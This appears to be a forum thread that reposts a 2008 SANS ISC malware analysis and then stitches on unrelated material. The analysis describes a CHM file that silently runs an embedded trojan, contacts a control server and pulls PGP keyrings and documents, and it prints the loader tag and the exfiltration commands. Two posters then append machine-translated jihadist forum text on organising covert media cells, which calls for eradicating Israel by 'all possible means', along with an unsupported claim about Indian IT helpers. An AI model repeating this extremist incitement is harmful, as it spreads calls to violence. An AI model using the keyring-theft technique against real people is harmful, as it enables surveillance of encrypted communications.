Source: ShutterstockGuarding the guardians: a story of PGP key ring theft
Published: 2008-03-27,
Last Updated: 2008-03-27 17:25:58 UTC
by Maarten Van Horenbeeck (Version: 1)
2 comment(s)

A couple of weeks ago, we received a CHM, or Windows Help file, embedded in e-mail as part of a targeted attack campaign against an NGO. Virus detection was near zero. On Virustotal.com, two solutions actually flagged it as malicious.

After decompiling the CHM file, which you can easily do using tools such as arCHMage or chmdecompiler, I spotted the following code in the HTML content, in addition to an executable 'music.exe':

object width="0" height="0" style="display:none;"
type="application/x-oleobject" codebase="music.exe"

The goal of this code is to load a hidden object from the CHM container. This embedded file also was not recognized by the vast majority of anti virus vendors. The code connected to a 'fake' web server at a Hong Kong ISP, and issued the following request:

GET /scripts/msadce.exe/?UID=DD01x51 HTTP/1.0

When you see something like this, it raises suspicion that the UID is in fact a 'command' to a control server. In reality, the web server turned out not a web server at all. Any query but the above was answered with an immediate disconnect. In response to the above request, the server responded with a large BASE64 encoded response, which turned out to be an additional executable file. The trojan then executed this file, being its second stage payload.

This file subsequently connected to a second server, being the actual control server. It sent an identical registration URI as above to this machine. In return, the server responded with another BASE64 encoded string. This was much shorter, and once decoded, turned out to be:


netmgetr usb:\*.doc
netmgetr usb:\*.pkr
netmgetr usb:\*.skr
netlsr usb:\*.*


Upon further review of the trojan code, netmgetr scanned the file system for a filename and then copies it from the system. This is interesting, because reports of malware looking for PGP keyrings (the .skr and .pkr files in the above example) are rare. There have been instances, such as the '99 Caligula macro-virus, but this was more proof-of-concept code.

In this case, the code above was combined with a keylogger, so the passphrase could have been grabbed as well. However, we did not see this happening. It appears the attacker's goal was to "map" who was talking to whom encrypted. In this attack, the latter information appears to have been actively used to send malware to other people in a more convincing way.

There are two things we can learn from this:

* It's clear that we should understand that the network that houses our data is not just a network of machines. It's a network of people. Knowing who talks to whom and how is valuable help for an attacker in selecting his next targets, and making them look "normal";
* When we use strong encryption, attackers will not try to "break" that encryption. They will move to the endpoints to steal the keys that are used to encrypt it. Ensure sufficient security is implemented on key storage.

Cheers,

Maarten Van Horenbeeck
maarten at daemon.be

http://isc.sans.org/diary.html?storyid=4207&rss

http://snipurl.com/22v2a

Barb

.

GIMF reorginizing, world wide, using encryption.

Global Jihad:
From a password protected file downloaded from password protected Jihad forum.
They are training in the use of PGP.

Technology offers the possibility of PGP encryption and digital signing letters has proved this program steadfastness in the face of all attempts to breakage, and clarifies that the accounts could not break the encryption of PGP by anyone in the world within an acceptable time, and is therefore considered a military secret, and prevent the United States government export programs to PGP our country, but can be obtained from other sources.

...........encrypted message to be sent by mail to the front, on the grounds that the message will reach the World Islamic Front briefing.

Thank God for the blessing of Islam and its credit and magnanimity and generosity and charity, prayer and peace be upon our master and our leader Mohammed Fara fortunate personalities on the computer and the company of esteemed and after :

.....as you see today is disseminating news and information via the Internet forms and methods of making easy we must strive to form unified Islamic Front media on a global scale with a coordinating body, in fact, for this front there, but not sick and weak and fragmented and unacceptable, as well as uncoordinated and salary, the master Praise youth of Islam are exerting tremendous efforts in the dissemination of news and every nation has a policy and style The point of view in the way publishing in the way news and information formulation, and to Annker that young inexperienced foundations media and lack of support and guidance from the media people, and we had many reservations on some routes in publishing and broadcasting information, we do not pretend that we are media people, but we strive to serve Islam and Muslims all our God is used, for this must move these days and begin coordination and communication between cells or strong media scattered here and there As you know, the Internet is full of forums and media groups Arab and Islamic Can these entities electronic information coordination among them? Can she resorts to experts of the Islamic Information provided and consulted them and learning from them this profession that we need them most? We emphasize in this article that there are experts in the media are ready to provide support and assistance to young sons and daughters of the nation and Trshidhem to teach them how to disseminate news and information and how to describe the latest events and facts that occur daily in various countries such Arab and Islamic countries, especially in Iraq and Palestine, Chechnya, Afghanistan, Kashmir and other states of the nation. May stand against us and some people say How is coordination among the various currents Some alleged predecessor struggler, and Wahhabi and brothers and other trends? Ferdena is, we classify against Muslims, these classifications which we live today is the fruits of sedition faced by the nation. We must Trenching in the same trench and, more importantly, to agree in assets, foundations and Islamic principles and to leave aside differences subsidiary, and the talk about reclassification affects Muslims and there is no room for such a narrative, just want to say that any Muslim could zealous religion and the nation's conscience, and regardless considering the direction or letters to participate in the march to support Islamic media on the Internet ............


tips :
......the so-called State of Israel is the entity mutation in the body of the nation must eradicate all possible means.

.....do not forget the importance of translation into languages other living Kalangelesais, French and Spanish composition of teams for translation and publication in the sites of these languages considered one of the priorities of the march of global Islamic media front.

1-formation of a subsidiary company from the front so that each company has a role or roles example for the transfer of confidential data and news reports Mujahideen and confidential matters specializing in advocacy and confidential matters scientific, research and different studies and the confidentiality of things economic and other types of buildings.

2-Sahab Institution Everybody knows, we propose the establishment of a media organization like Sahab (we suggest the establishment of an organization under the name Nour Foundation for the right production information), where lies role in the production of video programs on CD shows VIDEO state of the nation in various countries, especially in hot spots such as Iraq and Afghanistan. Palestine and Kashmir and other so these discs distributed to people in different ways the Internet, as we believe that this method will be effective and fruitful God's help at a high level.

3-We urge cooperation with the people of experience in the media, they were a beacon through the media genuine Muslim.

4-communicate with the Jihadi leaders, the media, economic, scientific and other.

5-on the leadership front this leave you, but remind you that people do not forget the experience and opinion of the mujahideen, scientists and experts in various areas of information.

( The jihadist IT consultants are in India, India's computer experts are assisting in this effort. )

Gerald